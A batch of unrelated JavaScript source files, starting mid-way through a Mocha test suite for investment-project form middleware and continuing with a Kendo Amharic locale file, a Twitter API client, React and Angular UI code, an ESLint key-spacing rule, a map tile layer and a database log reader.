this.createInvestmentStub, getEquityCompanyDetails: this.getEquityCompanyDetailsStub, }, }) }) describe('#handleFormPost', () => { context('when saving a new investment project', () => { beforeEach(async () => { await this.detailsMiddleware.handleFormPost( this.req, this.res, this.next ) }) it('should create a new investment', () => { expect(this.createInvestmentStub).to.be.calledOnce }) }) context('when editing an existing investment project', () => { beforeEach(async () => { this.req.params.investmentId = '777' await this.detailsMiddleware.handleFormPost( this.req, this.res, this.next ) }) it('should create a new investment', () => { expect(this.updateInvestmentStub).to.be.calledOnce }) }) context('when saving the form raises no errors', () => { beforeEach(async () => { await this.detailsMiddleware.handleFormPost( this.req, this.res, this.next ) }) it('should call next', () => { expect(this.next).to.be.called }) }) context('when saving form raises an error', () => { beforeEach(async () => { this.err = { statusCode: 400, error: {}, } this.createInvestmentStub.rejects(this.err) }) context('and a single contact and business activity are provided', () => { beforeEach(async () => { this.req.body = { client_contacts: '1234', business_activities: '4321', } await this.detailsMiddleware.handleFormPost( this.req, this.res, this.next ) }) it('should return contacts to the form as an array', () => { expect(this.res.locals.form.state.client_contacts).to.deep.equal([ '1234', ]) }) it('should return activities to the form as an array', () => { expect(this.res.locals.form.state.business_activities).to.deep.equal([ '4321', ]) }) }) context( 'and multiple contacts and business activities are provided', () => { beforeEach(async () => { this.req.body = { client_contacts: ['1234', '5678'], business_activities: ['4321', '8765'], } await this.detailsMiddleware.handleFormPost( this.req, this.res, this.next ) }) it('should return contacts to the form as an array', () => { expect(this.res.locals.form.state.client_contacts).to.deep.equal([ '1234', '5678', ]) }) it('should return activities to the form as an array', () => { expect( this.res.locals.form.state.business_activities ).to.deep.equal(['4321', '8765']) }) } ) }) context('the user select add another contact', () => { beforeEach(async () => { this.req.body = { client_contacts: ['1234', '5678'], business_activities: ['4321', '8765'], 'add-item': 'client_contacts', } await this.detailsMiddleware.handleFormPost( this.req, this.res, this.next ) }) it('should not save the data', () => { expect(this.updateInvestmentStub).to.not.be.called }) it('should return a form state with an additional empty contact', () => { expect(this.res.locals.form.state.client_contacts).to.deep.equal([ '1234', '5678', '', ]) }) }) context('the user select add another business activity', () => { beforeEach(async () => { this.req.body = { client_contacts: ['1234', '5678'], business_activities: ['4321', '8765'], 'add-item': 'business_activities', } await this.detailsMiddleware.handleFormPost( this.req, this.res, this.next ) }) it('should not save the data', () => { expect(this.updateInvestmentStub).to.not.be.called }) it('should return a form state with an additional empty contact', () => { expect(this.res.locals.form.state.business_activities).to.deep.equal([ '4321', '8765', '', ]) }) }) }) describe('#populateForm', () => { beforeEach(() => { this.advisersData = { count: 5, results: [ { id: '1', name: 'Jeff Smith', is_active: true }, { id: '2', name: 'John Smith', is_active: true }, { id: '3', name: 'Zac Smith', is_active: true }, { id: '4', name: 'Fred Smith', is_active: false }, { id: '5', name: 'Jim Smith', is_active: false }, ], } }) context('when adding a new project', () => { beforeEach(async () => { nock(config.apiRoot) .get(`/adviser/?limit=100000&offset=0`) .reply(200, this.advisersData) .get('/v4/metadata/investment-type') .reply(200, metadataMock.investmentTypeOptions) .get('/v4/metadata/referral-source-activity') .reply(200, metadataMock.referralSourceActivityOptions) .get('/v4/metadata/fdi-type') .reply(200, metadataMock.fdiValueOptions) .get('/v4/metadata/referral-source-marketing') .reply(200, metadataMock.referralSoureMarketingOptions) .get('/v4/metadata/referral-source-website') .reply(200, metadataMock.referralSoureWebsiteOptions) .get('/v4/metadata/sector') .reply(200, metadataMock.sectorOptions) .get('/v4/metadata/investment-business-activity') .reply(200, metadataMock.investmentTypeOptions) .get('/v4/metadata/investment-specific-programme') .reply(200, metadataMock.investmentSpecificProgrammeOptions) .get('/v4/metadata/investment-investor-type') .reply(200, metadataMock.investmentsInvestorTypeOptions) .get('/v4/metadata/investment-involvement') .reply(200, metadataMock.investmentInvolvementOptions) this.req.params = assign({}, this.req.params, { equityCompanyId: uuid(), }) await this.detailsMiddleware.populateForm(this.req, this.res, this.next) }) it('includes all active adviser options for client relationship manager', () => { const expectedOptions = [ { label: 'Jeff Smith', value: '1' }, { label: 'John Smith', value: '2' }, { label: 'Zac Smith', value: '3' }, ] expect( this.res.locals.form.options.clientRelationshipManagers ).to.deep.equal(expectedOptions) }) it('includes all active adviser options for referral source adviser', () => { const expectedOptions = [ { label: 'Jeff Smith', value: '1' }, { label: 'John Smith', value: '2' }, { label: 'Zac Smith', value: '3' }, ] expect( this.res.locals.form.options.referralSourceAdvisers ).to.deep.equal(expectedOptions) }) }) context('when editing a project with an inactive adviser', () => { beforeEach(async () => { this.req.params = assign({}, this.req.params, { equityCompanyId: uuid(), }) nock(config.apiRoot) .get(`/adviser/?limit=100000&offset=0`) .reply(200, this.advisersData) .get('/v4/metadata/investment-type') .reply(200, metadataMock.investmentTypeOptions) .get('/v4/metadata/referral-source-activity') .reply(200, metadataMock.referralSourceActivityOptions) .get('/v4/metadata/fdi-type') .reply(200, metadataMock.fdiValueOptions) .get('/v4/metadata/referral-source-marketing') .reply(200, metadataMock.referralSoureMarketingOptions) .get('/v4/metadata/referral-source-website') .reply(200, metadataMock.referralSoureWebsiteOptions) .get('/v4/metadata/sector') .reply(200, metadataMock.sectorOptions) .get('/v4/metadata/investment-business-activity') .reply(200, metadataMock.investmentTypeOptions) .get('/v4/metadata/investment-specific-programme') .reply(200, metadataMock.investmentSpecificProgrammeOptions) .get('/v4/metadata/investment-investor-type') .reply(200, metadataMock.investmentsInvestorTypeOptions) .get('/v4/metadata/investment-involvement') .reply(200, metadataMock.investmentInvolvementOptions) this.res.locals = assign({}, this.res.locals, { investment: { id: uuid(), client_relationship_manager: { id: '4', name: 'Fred Smith', }, referral_source_adviser: { id: '5', name: 'Jim Smith', }, }, }) await this.detailsMiddleware.populateForm(this.req, this.res, this.next) }) it('includes all active adviser options for client relationship manager', () => { const expectedOptions = [ { label: 'Jeff Smith', value: '1' }, { label: 'John Smith', value: '2' }, { label: 'Zac Smith', value: '3' }, { label: 'Fred Smith', value: '4' }, ] expect( this.res.locals.form.options.clientRelationshipManagers ).to.deep.equal(expectedOptions) }) it('includes all active adviser options for referral source adviser', () => { const expectedOptions = [ { label: 'Jeff Smith', value: '1' }, { label: 'John Smith', value: '2' }, { label: 'Zac Smith', value: '3' }, { label: 'Jim Smith', value: '5' }, ] expect( this.res.locals.form.options.referralSourceAdvisers ).to.deep.equal(expectedOptions) }) }) }) })
/** * Copyright 2015 Telerik AD * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ (function(f, define){ define([], f); })(function(){ (function( window, undefined ) { var kendo = window.kendo || (window.kendo = { cultures: {} }); kendo.cultures["am"] = { name: "am", numberFormat: { pattern: ["-n"], decimals: 1, ",": ",", ".": ".", groupSize: [3,0], percent: { pattern: ["-n%","n%"], decimals: 1, ",": ",", ".": ".", groupSize: [3,0], symbol: "%" }, currency: { pattern: ["-$n","$n"], decimals: 2, ",": ",", ".": ".", groupSize: [3,0], symbol: "ETB" } }, calendars: { standard: { days: { names: ["እሑድ","ሰኞ","ማክሰኞ","ረቡዕ","ሐሙስ","ዓርብ","ቅዳሜ"], namesAbbr: ["እሑድ","ሰኞ","ማክሰ","ረቡዕ","ሐሙስ","ዓርብ","ቅዳሜ"], namesShort: ["እ","ሰ","ማ","ረ","ሐ","ዓ","ቅ"] }, months: { names: ["ጃንዩወሪ","ፌብሩወሪ","ማርች","ኤፕረል","ሜይ","ጁን","ጁላይ","ኦገስት","ሴፕቴምበር","ኦክተውበር","ኖቬምበር","ዲሴምበር",""], namesAbbr: ["ጃንዩ","ፌብሩ","ማርች","ኤፕረ","ሜይ","ጁን","ጁላይ","ኦገስ","ሴፕቴ","ኦክተ","ኖቬም","ዲሴም",""] }, AM: ["ጡዋት","ጡዋት","ጡዋት"], PM: ["ከሰዓት","ከሰዓት","ከሰዓት"], patterns: { d: "d/M/yyyy", D: "dddd '፣' MMMM d 'ቀን' yyyy", F: "dddd '፣' MMMM d 'ቀን' yyyy h:mm:ss tt", g: "d/M/yyyy h:mm tt", G: "d/M/yyyy h:mm:ss tt", m: "MMMM d ቀን", M: "MMMM d ቀን", s: "yyyy'-'MM'-'dd'T'HH':'mm':'ss", t: "h:mm tt", T: "h:mm:ss tt", u: "yyyy'-'MM'-'dd HH':'mm':'ss'Z'", y: "MMMM yyyy", Y: "MMMM yyyy" }, "/": "/", ":": ":", firstDay: 0 } } } })(this); return window.kendo; }, typeof define == 'function' && define.amd ? define : function(_, f){ f(); });
import isFunction from 'lodash.isfunction'; import Core from '../core/core'; /** * @class Twitter * @description Twitter class * @example * const twitter = new Twitter({ * consumerKey: 'your-app-consumer-key', * consumerSecret: 'your-app-consumer-secret', * accessToken: 'your-app-access-token', * accessTokenSecret: 'your-app-access-token-secret', * }); * * twitter.get('some-twitter-route').then((data) => { * console.log(data); * }); */ class Twitter extends Core { /** * @constructs Twitter * @description Constructs an instance of Twitter. * * @param {object} config - Config of class. * @param {string} config.consumerKey - consumerKey of Twitter app. * @param {string} config.consumerSecret - consumerSecret of Twitter app. * @param {string} config.accessToken - accessToken of Twitter app. * @param {string} config.accessTokenSecret - accessTokenSecret of Twitter app. * @param {object} [options] - Options of class. * */ constructor(config = {}, options = {}) { super(options); this.name = 'twitter'; this.checkValidConfig( ['consumerKey', 'consumerSecret', 'accessToken', 'accessTokenSecret'], config, ); this.oauth = { consumer_key: config.consumerKey, consumer_secret: config.consumerSecret, token: config.accessToken, token_secret: config.accessTokenSecret, }; this.url = 'https://api.twitter.com'; this.version = options.version || '1.1'; this.baseApiUrl = `${this.url}/${this.version}`; } /** * @memberof Twitter * @function get * @description Make a get request to twitter api. * * @param {string} url - Url of route. * @param {object} [options] - Options to pass in request. * @param {function} [callback] - Callback to call when the request finish. * @return {promise} */ get(url, options = {}, callback) { if (isFunction(options)) { callback = options; options = {}; } return this.request({ method: 'GET', json: true, uri: `${this.baseApiUrl}/${url}.json`, oauth: this.oauth, qs: options, }, callback); } /** * @memberof Twitter * @function post * @description Make a post request to twitter api. * * @param {string} url - Url of route. * @param {object} [options] - Options to pass in request. * @param {function} [callback] - Callback to call when the request finish. * @return {promise} */ post(url, options = {}, callback) { if (isFunction(options)) { callback = options; options = {}; } return this.request({ method: 'POST', json: true, uri: `${this.baseApiUrl}/${url}.json`, oauth: this.oauth, form: options, }, callback); } /** * @memberof Twitter * @function delete * @description Make a get request to twitter api. * * @param {string} url - Url of route. * @param {object} [options] - Options to pass in request. * @param {function} [callback] - Callback to call when the request finish. * @return {promise} */ delete(url, options = {}, callback) { if (isFunction(options)) { callback = options; options = {}; } return this.request({ method: 'DELETE', json: true, uri: `${this.baseApiUrl}/${url}.json`, oauth: this.oauth, qs: options, }, callback); } } export default Twitter;
import React from 'react' import Icon from 'react-icon-base' const TiSocialDribbble = props => ( <Icon viewBox="0 0 40 40" {...props}> <g><path d="m20 5c-8.3 0-15 6.7-15 15s6.7 15 15 15 15-6.7 15-15-6.7-15-15-15z m11.6 13.8c-2.9-0.5-5.9-0.3-8.7 0.4-0.3-0.7-0.6-1.4-1-2.1 2.4-1.4 4.5-3.2 6.2-5.4 1.9 1.8 3.2 4.3 3.5 7.1z m-4.7-8.2c-1.6 2.1-3.5 3.8-5.7 5-1.3-2.4-2.9-4.6-4.7-6.7 1.1-0.4 2.3-0.6 3.5-0.6 2.6 0 5 0.9 6.9 2.3z m-12-1.1c1.9 2.1 3.5 4.4 4.8 6.9-3.4 1.6-7.3 2.1-11.2 1.5 0.7-3.7 3.1-6.8 6.4-8.4z m-6.6 10.5c0-0.2 0.1-0.3 0.1-0.5 1.1 0.2 2.2 0.3 3.3 0.3 3.1 0 6-0.7 8.8-2 0.3 0.7 0.6 1.3 0.8 1.9-4 1.5-7.6 4.2-10.1 7.9-1.8-2-2.9-4.7-2.9-7.6z m4 8.8c2.4-3.6 5.8-6.2 9.6-7.5 1.2 3.1 1.9 6.3 2.2 9.6-1.3 0.5-2.7 0.8-4.1 0.8-2.9 0-5.6-1.1-7.7-2.9z m13.4 1.4c-0.4-3.2-1.1-6.4-2.2-9.4 2.6-0.7 5.4-0.8 8.1-0.3-0.1 4.1-2.5 7.8-5.9 9.7z"/></g> </Icon> ) export default TiSocialDribbble
import {stories, className, func, bool, number, string, oneOf} from '../duckyStories'; import LabelNumberDisplay2 from './index'; stories(module, LabelNumberDisplay2, [ "https://github.com/DuckyTeam/ducky-web/issues/1736" ], { animation: bool(), caption: string("Innspart totalt"), className: className(), decimals: number(2), icon: oneOf("icon-leaf", "icon-star"), number: number(23), onClick: func(), theme: oneOf('light', 'dark'), tooltipText: string("default") });
/** * Default Table Options * @type {object} */ export const TableDefaults = { // Enable vertical scrollbars scrollbarV: true, // Enable horz scrollbars // scrollbarH: true, // The row height, which is necessary // to calculate the height for the lazy rendering. rowHeight: 30, // flex // force // standard columnMode: 'standard', // Loading message presented when the array is undefined loadingMessage: 'Loading...', // Message to show when array is presented // but contains no values emptyMessage: 'No data to display', // The minimum header height in pixels. // pass falsey for no header headerHeight: 30, // The minimum footer height in pixels. // pass falsey for no footer footerHeight: 0, paging: { // if external paging is turned on externalPaging: false, // Page size size: undefined, // Total count count: 0, // Page offset offset: 0, // Loading indicator loadingIndicator: false }, // if users can select itmes selectable: false, // if users can select mutliple items multiSelect: false, // checkbox selection vs row click checkboxSelection: false, // if you can reorder columns reorderable: true, internal: { offsetX: 0, offsetY: 0, innerWidth: 0, bodyHeight: 300 } }; /** * Default Column Options * @type {object} */ export const ColumnDefaults = { // pinned to the left frozenLeft: false, // pinned to the right frozenRight: false, // body cell css class name className: undefined, // header cell css class name headerClassName: undefined, // The grow factor relative to other columns. Same as the flex-grow // API from http://www.w3.org/TR/css3-flexbox/. Basically, // take any available extra width and distribute it proportionally // according to all columns' flexGrow values. flexGrow: 0, // Minimum width of the column. minWidth: 100, //Maximum width of the column. maxWidth: undefined, // The width of the column, by default (in pixels). width: 150, // If yes then the column can be resized, otherwise it cannot. resizable: true, // Custom sort comparator // pass false if you want to server sort comparator: undefined, // If yes then the column can be sorted. sortable: true, // Default sort asecending/descending for the column sort: undefined, // The cell renderer that returns content for table column header headerRenderer: undefined, // The cell renderer function(scope, elm) that returns React-renderable content for table cell. cellRenderer: undefined, // The getter function(value) that returns the cell data for the cellRenderer. // If not provided, the cell data will be collected from row data instead. cellDataGetter: undefined, // Adds +/- button and makes a secondary call to load nested data isTreeColumn: false, // Adds the checkbox selection to the column isCheckboxColumn: false, // Toggles the checkbox column in the header // for selecting all values given to the grid headerCheckbox: false, // Whether the column can automatically resize to fill space in the table. canAutoResize: true };
const name = 'hotkey'; describe("Metro 4 :: Hotkey", () => { it('Component Initialization', ()=>{ cy.visit("cypress/"+name+".html"); }) })
var app = angular.module("TempApp",["Controllers","ngRoute"]); app.config(['$locationProvider', function($locationProvider) { $locationProvider.hashPrefix(''); }]); app.config(["$routeProvider", function($routeProvider) { $routeProvider. when('/', { templateUrl:'views/templist.html', controller:'TempController' }). when('/listpage', { templateUrl:'views/templist.html', controller:'TempController' }).when('/addpage', { templateUrl:'views/newtemp.html', controller:'AddController' }).otherwise({ redirectTo:'/' }); }]);
// Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. and Contributors // MIT License. See license.txt // assign to is lined to todo // refresh - load todos // create - new todo // delete to do frappe.provide("frappe.ui.form"); frappe.ui.form.AssignTo = Class.extend({ init: function(opts) { $.extend(this, opts); var me = this; this.wrapper = $('<div>\ <div class="alert-list" style="margin-bottom: 7px;"></div>\ </div>').appendTo(this.parent); this.$list = this.wrapper.find(".alert-list"); this.parent.find(".btn").click(function() { me.add(); }); this.refresh(); }, refresh: function() { if(this.frm.doc.__islocal) { this.parent.toggle(false); return; } this.parent.toggle(true); this.render(this.frm.get_docinfo().assignments); }, render: function(d) { var me = this; this.frm.get_docinfo().assignments = d; this.$list.empty(); if(this.dialog) { this.dialog.hide(); } if(d && d.length) { for(var i=0; i<d.length; i++) { var info = frappe.user_info(d[i]); info.owner = d[i]; info.avatar = frappe.avatar(d[i]); $(repl('<div class="alert alert-success" style="margin-bottom: 7px;">\ %(avatar)s %(fullname)s \ <a class="close" href="#" style="top: 1px;"\ data-owner="%(owner)s">&times;</a></div>', info)) .appendTo(this.$list); this.$list.find(".avatar").css("margin-top", "-7px") this.$list.find('.avatar img').centerImage(); } // set remove this.$list.find('a.close').click(function() { frappe.call({ method:'frappe.widgets.form.assign_to.remove', args: { doctype: me.frm.doctype, name: me.frm.docname, assign_to: $(this).attr('data-owner') }, callback:function(r,rt) { me.render(r.message); me.frm.toolbar.show_infobar(); me.frm.comments.refresh(); } }); return false; }); } else { $('<p class="text-muted">' + __("No one") + '</p>').appendTo(this.$list); } }, add: function() { var me = this; if(!me.dialog) { me.dialog = new frappe.ui.Dialog({ title: __('Add to To Do'), width: 350, fields: [ {fieldtype:'Link', fieldname:'assign_to', options:'User', label:__("Assign To"), description:__("Add to To Do List of"), reqd:true}, {fieldtype:'Data', fieldname:'description', label:__("Comment")}, {fieldtype:'Date', fieldname:'date', label: __("Complete By")}, {fieldtype:'Select', fieldname:'priority', label: __("Priority"), options:'Low\nMedium\nHigh', 'default':'Medium'}, {fieldtype:'Check', fieldname:'notify', label:__("Notify By Email"), "default":1}, {fieldtype:'Check', fieldname:'restrict', label:__("Add This To User's Restrictions") + ' <a class="assign-user-properties"><i class="icon-share"></i></a>'}, {fieldtype:'Button', label:__("Add"), fieldname:'add_btn'} ] }); me.dialog.fields_dict.restrict.$wrapper .find(".assign-user-properties") .on("click", function() { frappe.route_options = { property: me.frm.doctype, user: me.dialog.get_value("assign_to") }; frappe.set_route("user-properties"); }); me.dialog.fields_dict.add_btn.input.onclick = function() { var assign_to = me.dialog.fields_dict.assign_to.get_value(); var args = me.dialog.get_values(); if(assign_to) { return frappe.call({ method:'frappe.widgets.form.assign_to.add', args: $.extend(args, { doctype: me.frm.doctype, name: me.frm.docname, assign_to: assign_to }), callback: function(r,rt) { if(!r.exc) { me.render(r.message); me.frm.toolbar.show_infobar(); me.frm.comments.refresh(); } }, btn: this }); } } me.dialog.fields_dict.assign_to.get_query = "frappe.core.doctype.user.user.user_query"; } me.dialog.clear(); (function toggle_restrict() { var can_restrict = frappe.model.can_restrict(me.frm.doctype, me.frm); me.dialog.fields_dict.restrict.$wrapper.toggle(can_restrict); me.dialog.get_input("restrict").prop("checked", can_restrict); })(); if(me.frm.meta.title_field) { me.dialog.set_value("description", me.frm.doc[me.frm.meta.title_field]) } me.dialog.show(); if(!frappe.perm.get_perm(me.frm.doctype)[0].restricted) { me.dialog.fields_dict.restrict.set_input(0); me.dialog.fields_dict.restrict.$wrapper.toggle(false); } } });
/** * @fileoverview Rule to specify spacing of object literal keys and values * @author Brandon Mills * @copyright 2014 Brandon Mills. All rights reserved. */ "use strict"; //------------------------------------------------------------------------------ // Helpers //------------------------------------------------------------------------------ /** * Checks whether a string contains a line terminator as defined in * http://www.ecma-international.org/ecma-262/5.1/#sec-7.3 * @param {string} str String to test. * @returns {boolean} True if str contains a line terminator. */ function containsLineTerminator(str) { return /[\n\r\u2028\u2029]/.test(str); } /** * Gets the last element of an array. * @param {Array} arr An array. * @returns {any} Last element of arr. */ function last(arr) { return arr[arr.length - 1]; } /** * Checks whether a property is a member of the property group it follows. * @param {ASTNode} lastMember The last Property known to be in the group. * @param {ASTNode} candidate The next Property that might be in the group. * @returns {boolean} True if the candidate property is part of the group. */ function continuesPropertyGroup(lastMember, candidate) { var groupEndLine = lastMember.loc.start.line, candidateStartLine = candidate.loc.start.line, comments, i; if (candidateStartLine - groupEndLine <= 1) { return true; } // Check that the first comment is adjacent to the end of the group, the // last comment is adjacent to the candidate property, and that successive // comments are adjacent to each other. comments = candidate.leadingComments; if ( comments && comments[0].loc.start.line - groupEndLine <= 1 && candidateStartLine - last(comments).loc.end.line <= 1 ) { for (i = 1; i < comments.length; i++) { if (comments[i].loc.start.line - comments[i - 1].loc.end.line > 1) { return false; } } return true; } return false; } /** * Checks whether a node is contained on a single line. * @param {ASTNode} node AST Node being evaluated. * @returns {boolean} True if the node is a single line. */ function isSingleLine(node) { return (node.loc.end.line === node.loc.start.line); } //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ var messages = { key: "{{error}} space after {{computed}}key \"{{key}}\".", value: "{{error}} space before value for {{computed}}key \"{{key}}\"." }; module.exports = function(context) { /** * OPTIONS * "key-spacing": [2, { * beforeColon: false, * afterColon: true, * align: "colon" // Optional, or "value" * } */ var options = context.options[0] || {}, align = options.align, mode = options.mode || "strict", beforeColon = +!!options.beforeColon, // Defaults to false afterColon = +!(options.afterColon === false); // Defaults to true /** * Starting from the given a node (a property.key node here) looks forward * until it finds the last token before a colon punctuator and returns it. * @param {ASTNode} node The node to start looking from. * @returns {ASTNode} The last token before a colon punctuator. */ function getLastTokenBeforeColon(node) { var prevNode; while (node && (node.type !== "Punctuator" || node.value !== ":")) { prevNode = node; node = context.getTokenAfter(node); } return prevNode; } /** * Starting from the given a node (a property.key node here) looks forward * until it finds the colon punctuator and returns it. * @param {ASTNode} node The node to start looking from. * @returns {ASTNode} The colon punctuator. */ function getNextColon(node) { while (node && (node.type !== "Punctuator" || node.value !== ":")) { node = context.getTokenAfter(node); } return node; } /** * Gets an object literal property's key as the identifier name or string value. * @param {ASTNode} property Property node whose key to retrieve. * @returns {string} The property's key. */ function getKey(property) { var key = property.key; if (property.computed) { return context.getSource().slice(key.range[0], key.range[1]); } return property.key.name || property.key.value; } /** * Reports an appropriately-formatted error if spacing is incorrect on one * side of the colon. * @param {ASTNode} property Key-value pair in an object literal. * @param {string} side Side being verified - either "key" or "value". * @param {string} whitespace Actual whitespace string. * @param {int} expected Expected whitespace length. * @returns {void} */ function report(property, side, whitespace, expected) { var diff = whitespace.length - expected, key = property.key, firstTokenAfterColon = context.getTokenAfter(getNextColon(key)), location = side === "key" ? key.loc.start : firstTokenAfterColon.loc.start; if ((diff && mode === "strict" || diff < 0 && mode === "minimum") && !(expected && containsLineTerminator(whitespace)) ) { context.report(property[side], location, messages[side], { error: diff > 0 ? "Extra" : "Missing", computed: property.computed ? "computed " : "", key: getKey(property) }); } } /** * Gets the number of characters in a key, including quotes around string * keys and braces around computed property keys. * @param {ASTNode} property Property of on object literal. * @returns {int} Width of the key. */ function getKeyWidth(property) { var startToken, endToken; // Ignore shorthand methods and properties, as they have no colon if (property.method || property.shorthand) { return 0; } startToken = context.getFirstToken(property); endToken = getLastTokenBeforeColon(property.key); return endToken.range[1] - startToken.range[0]; } /** * Gets the whitespace around the colon in an object literal property. * @param {ASTNode} property Property node from an object literal. * @returns {Object} Whitespace before and after the property's colon. */ function getPropertyWhitespace(property) { var whitespace = /(\s*):(\s*)/.exec(context.getSource().slice( property.key.range[1], property.value.range[0] )); if (whitespace) { return { beforeColon: whitespace[1], afterColon: whitespace[2] }; } return null; } /** * Creates groups of properties. * @param {ASTNode} node ObjectExpression node being evaluated. * @returns {Array.<ASTNode[]>} Groups of property AST node lists. */ function createGroups(node) { if (node.properties.length === 1) { return [node.properties]; } return node.properties.reduce(function(groups, property) { var currentGroup = last(groups), prev = last(currentGroup); if (!prev || continuesPropertyGroup(prev, property)) { currentGroup.push(property); } else { groups.push([property]); } return groups; }, [[]]); } /** * Verifies correct vertical alignment of a group of properties. * @param {ASTNode[]} properties List of Property AST nodes. * @returns {void} */ function verifyGroupAlignment(properties) { var length = properties.length, widths = properties.map(getKeyWidth), // Width of keys, including quotes targetWidth = Math.max.apply(null, widths), i, property, whitespace, width; // Conditionally include one space before or after colon targetWidth += (align === "colon" ? beforeColon : afterColon); for (i = 0; i < length; i++) { property = properties[i]; whitespace = getPropertyWhitespace(property); if (!whitespace) { continue; // Object literal getters/setters lack a colon } width = widths[i]; if (align === "value") { report(property, "key", whitespace.beforeColon, beforeColon); report(property, "value", whitespace.afterColon, targetWidth - width); } else { // align = "colon" report(property, "key", whitespace.beforeColon, targetWidth - width); report(property, "value", whitespace.afterColon, afterColon); } } } /** * Verifies vertical alignment, taking into account groups of properties. * @param {ASTNode} node ObjectExpression node being evaluated. * @returns {void} */ function verifyAlignment(node) { createGroups(node).forEach(function(group) { verifyGroupAlignment(group); }); } /** * Verifies spacing of property conforms to specified options. * @param {ASTNode} node Property node being evaluated. * @returns {void} */ function verifySpacing(node) { var whitespace = getPropertyWhitespace(node); if (whitespace) { // Object literal getters/setters lack colons report(node, "key", whitespace.beforeColon, beforeColon); report(node, "value", whitespace.afterColon, afterColon); } } /** * Verifies spacing of each property in a list. * @param {ASTNode[]} properties List of Property AST nodes. * @returns {void} */ function verifyListSpacing(properties) { var length = properties.length; for (var i = 0; i < length; i++) { verifySpacing(properties[i]); } } //-------------------------------------------------------------------------- // Public API //-------------------------------------------------------------------------- if (align) { // Verify vertical alignment return { "ObjectExpression": function(node) { if (isSingleLine(node)) { verifyListSpacing(node.properties); } else { verifyAlignment(node); } } }; } else { // Strictly obey beforeColon and afterColon in each property return { "Property": function(node) { verifySpacing(node); } }; } }; module.exports.schema = [ { "type": "object", "properties": { "align": { "enum": ["colon", "value"] }, "mode": { "enum": ["strict", "minimum"] }, "beforeColon": { "type": "boolean" }, "afterColon": { "type": "boolean" } }, "additionalProperties": false } ];
/******************************************************************************* # ____ __ __ _ _____ _ _ # # / __ \ \ \ / / | | / ____| | | | # # | | | |_ __ ___ _ __ \ /\ / /__| |__ | | __| | ___ | |__ ___ # # | | | | '_ \ / _ \ '_ \ \/ \/ / _ \ '_ \| | |_ | |/ _ \| '_ \ / _ \ # # | |__| | |_) | __/ | | \ /\ / __/ |_) | |__| | | (_) | |_) | __/ # # \____/| .__/ \___|_| |_|\/ \/ \___|_.__/ \_____|_|\___/|_.__/ \___| # # | | # # |_| _____ _____ _ __ # # / ____| __ \| |/ / # # | (___ | | | | ' / # # \___ \| | | | < # # ____) | |__| | . \ # # |_____/|_____/|_|\_\ # # # # (c) 2010-2011 by # # University of Applied Sciences Northwestern Switzerland # # Institute of Geomatics Engineering # # martin.christen@fhnw.ch # ******************************************************************************** * Licensed under MIT License. Read the file LICENSE for more information * *******************************************************************************/ goog.provide('owg.TMSImageLayer'); goog.require('owg.GlobeUtils'); goog.require('owg.OSMImageLayer'); goog.require('owg.MercatorQuadtree'); goog.require('owg.Texture'); //------------------------------------------------------------------------------ /** * @constructor * @description Image Layer for Tile Map Service * @author Feng Lei, fenglei@aoe.ac.cn */ function TMSImageLayer() { this.transparency = 1.0; //--------------------------------------------------------------------------- this.RequestTile = function(engine, quadcode, layer, cbfReady, cbfFailed, caller) { var coords = new Array(4); var res = {}; this.quadtree.QuadKeyToTileCoord(quadcode, res); res.y = Math.pow(2, res.lod)- 1 - res.y; var sFilename = this.servers[this.curserver] + "/" + res.lod + "/" + res.x + "/" + res.y + ".png"; var ImageTexture = new Texture(engine); ImageTexture.quadcode = quadcode; // store quadcode in texture object ImageTexture.layer = layer; ImageTexture.cbfReady = cbfReady; // store the ready callback in texture object ImageTexture.cbfFailed = cbfFailed; // store the failure callback in texture object ImageTexture.caller = caller; ImageTexture.transparency = this.transparency; ImageTexture.loadTexture(sFilename, _cbOSMTileReady, _cbOSMTileFailed, true); }; } TMSImageLayer.prototype = new OSMImageLayer(); //------------------------------------------------------------------------------
'use strict'; var deferred = require('deferred') , resolve = require('path').resolve , readdir = require('fs2/readdir') , readFile = require('fs2/read-file') , re = /([TZ\dx\.\-]+)-init\.db\.snapshot$/ , xRe = /x/g , logFilter; logFilter = function (data) { data = data.trim(); if (!data) return false; if (data[0] === '#') return false; return true; }; module.exports = function (logPath/*, options*/) { var options = Object(arguments[1]), at = Number(options.at); logPath = resolve(String(logPath)); return readdir(logPath, { type: { file: true }, pattern: re })(function (names) { var snapshotFilename, logFilename; names.sort().reverse(); if (!at) { snapshotFilename = names[0]; } else { names.some(function (name, index) { if ((Date.parse(name.match(re)[1].replace(xRe, ':')) * 1000) > at) return false; snapshotFilename = name; return true; }); } if (!snapshotFilename) throw new TypeError("No logs found at \'" + logPath + "'"); logFilename = snapshotFilename.match(re)[1] + '.db.log'; return deferred(readFile(resolve(logPath, snapshotFilename), 'utf8')(function (data) { return data.split('\n').filter(logFilter); }), readFile(resolve(logPath, logFilename), { encoding: 'utf8', loose: true })(function (data) { var result = [], current; if (data == null) return result; data = data.split('\n'); while (!data[0].trim() || (data[0].trim()[0] === '#')) data.shift(); data.some(function (data) { var stamp; data = data.trim(); if (!data) { current = null; return; } if (data[0] === '#') return; stamp = data.split(' ', 1)[0]; if (at && (Number(stamp) > at)) return true; data = data.slice(stamp.length).trim(); if (!current) result.push(current = []); current.push(data); }); return result; }))(function (data) { return { snapshot: data[0], log: data[1], snapshotFilename: snapshotFilename, logFilename: logFilename }; }); }); };
